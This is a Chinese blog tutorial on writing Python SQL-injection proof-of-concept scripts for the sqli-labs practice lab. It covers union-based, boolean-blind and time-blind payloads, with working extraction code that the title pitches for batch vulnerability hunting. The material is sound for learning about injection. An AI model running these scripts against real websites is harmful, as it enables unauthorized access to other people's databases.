AqYoung

分享渗透知识与技巧

0%

想批量刷洞?看一下POC怎么编写

SQL POC的编写(基于sqli-labs)

前言

什么是POC?

POC(Proof of Concept)在黑客圈特指:观点验证程序,即用来验证某个漏洞是否存在。

在现实的应用当中,如果我发现了某个新漏洞,那么我就可以通过POC批量检测。POC的编写的关键并不在于程序本身,而在于漏洞的理解。所以,我下面以sqli-labs为例,用Python编写较为几个常见的SQL POC

POC编写

环境搭建

在这里我为了图方便所以直接用docker进行搭建

# 拉取docker images
docker pull acgpiano/sqli-labs
# 以后台模式运行并且映射80端口
docker run -id --name sqli-labs -p 80:80 acgpiano/sqli-labs
# 进入sqli-labs里面的系统
docker exec -it sqli-labs2 bash

补充:

SQL注入分类的思维导图,大体可以分为以下几类:

基于报错的 SQL 注入 PoC 编写

漏洞分析:

payload:

http://192.168.11.15/Less-1/index.php?id=-1' union select 1,2,md5(88) --+

这里使用union联合查询,通过mysql里面的md5()函数计算出88的md5值,并且通过内容返回该值。

那么这样的话,POC的编写思路就很清晰了:通过判断是否返回对应数据md5的计算来判断是否执行md5()函数,如果执行,那么漏洞存在。

下面附上POC代码:

#!/usr/bin/env python
# -*- coding:utf-8 -*-
# @Time : 2020/4/28 14:55
# @Author : AqYoung
# @File : sql1.py

import requests
import random
import hashlib


def verify(url):
    rand_num = random.randint(0, 1000)
    hash_flag = hashlib.md5(str(rand_num).encode(encoding='utf-8')).hexdigest()
    target = "{domain}/Less-1/index.php?id=-1%27 union select 1,2,md5({rand_num}) %23".format(domain=url, rand_num=rand_num)

    try:
        res = requests.get(url=target, timeout=20)
        result = res.content.decode(encoding='utf-8')
        # 判断result返回内容是否有hash_flag
        if hash_flag in result:
            print("{domain} is vulnerable target ".format(domain=url))
        else:
            print("{domain} not is vulnerable target ".format(domain=url))

    except Exception as e:
        print("Maybe something went wrong...")
        print(e)


if __name__ == '__main__':
    verify("http://192.168.11.15")

参数说明:

rand_num    从0,1000中取一个随机数
hash_flag     通过hashlib计算hash值,用来和页面返回的hash值进行比较是否相等

执行效果:

基于布尔的盲注的 SQL 注入 PoC 编写

漏洞分析:

首先,先登录 mysql,查看一下对应的信息;

函数说明:

# 1 mid()/substr()用来截取字符串。
比如:
select mid(database(),n,m);
其中n表示从第几位开始截取,m表示要截取几位。
# ord()/ascii()把对应的字符串转化为ascii值

ASCII Table :

通过上面的理解,我们就可以构建对应的payload

payload:

http://192.168.11.15/Less-8/?id=1' and ord(mid(version(),1,8))<=115--+


由于我们数据库的ascii值为115,所以判断是否<=115,返回”You are in”但是114的话则不返回。

下面附上POC代码:

#!/usr/bin/env python
# -*- coding:utf-8 -*-
# @Time : 2020/4/28 20:20
# @Author : AqYoung
# @File : sql8.py

import requests

host = "http://192.168.11.15/Less-8/?id=1"

# 根据是否存在"You ar in",从而返回True或者False
def html_bool(bool_sql):
    url = host + "%27%20and%20" + bool_sql + "%20--+"
    # print(url)
    html = requests.get(url=url).content.decode(encoding='utf-8')
    if "You are in" in html:
        return True
    else:
        return False


def dichotomy():
    global data
    data = ''
    # 用二分法获取数据库的长度,并且传值给j参数
    low = 0
    height = 128
    j = 0
    mid = ''
    while True:
        mid = int((low + height) / 2)
        bool_sql = "length(database())<={mid}".format(mid=mid)
        if mid == low:
            j = int(mid+1)
            print("数据库的长度为:{length}\n请等待...".format(length=j-1))
            break
        elif html_bool(bool_sql=bool_sql):
            height = mid
        else:
            low = mid

    # 用二分法来获取数据库的名称
    for i in range(1, j):
        low = 0
        height = 128
        mid = ''
        while True:
            mid = int((low + height) / 2)
            bool_sql = "ord(mid(database(),{i},29))<={mid}".format(i=i, mid=mid)
            if mid == low:
                data += data.join(str(chr(mid + 1)))
                break
            elif html_bool(bool_sql=bool_sql):
                height = mid
            else:
                low = mid
    else:
        if len(data) > 0:
            print("存在漏洞,当前使用的数据库为:{data}".format(data=data))
        else:
            print("可能不存在该漏洞")
if __name__ == '__main__':
    dichotomy()

参数说明:

html_bool()    判断是否存You are in从而返回True or False
dichotomy() 简单来讲    第一次用二分法来判断数据库长度,而第二次的for循环里面是获取了对应的数据库名称

执行效果:

存在漏洞会输出数据库名称,不存则不会返回

基于时间的盲注的 SQL 注入 PoC 编写

漏洞分析:

payload1:

http://192.168.11.15/Less-9/index.php?id=1' and If
(ascii(substr(database(),1,1))>1,1,sleep(5))--+

参数说明:

sleep(n)    #延迟n秒
if(条件,1,sleep(5))    #通过判断前面的条件,如果true执行1,否则执行sleep(5)

payload2:

http://192.168.11.15/Less-9/index.php?id=1' and If((length(database()))>1,1,sleep(5))--+

这里用payload2来获取数据库长度,payload2获取数据库名称。

基于时间盲注和基于布尔盲注POC编写的主要区别是在于对于条件的判断
所以下面只附上html_bool()

def html_bool(bool_sql):
    url = host + "%27%20and%20" + bool_sql + "%20--+"
    # print(url)
    start = time.time()
    html = requests.get(url=url, timeout=15)
    end = time.time()
    if (end-start) > 5:
        return True
    else:
        return False

#dichotomy()中的bool_sql可以根据上面的两个payload修改即可。

执行效果:

存在漏洞则输出,数据库长度和名称

尾巴:

这篇文章传达的信息十分有限,所以简单的介绍了几个常用的SQL POC编写,而且并没有基于框架编写,你可以使用Pocsuite、Bugscan、Tangscan等常见的POC框架编写或者自己写一个框架都可以。

然后一些POC你也可以参考seebug等。希望对你有帮助。


声明:

  • 笔者初衷用于分享与交流网络知识,若读者因此作出任何危害网络安全行为后果自负,与作者无关!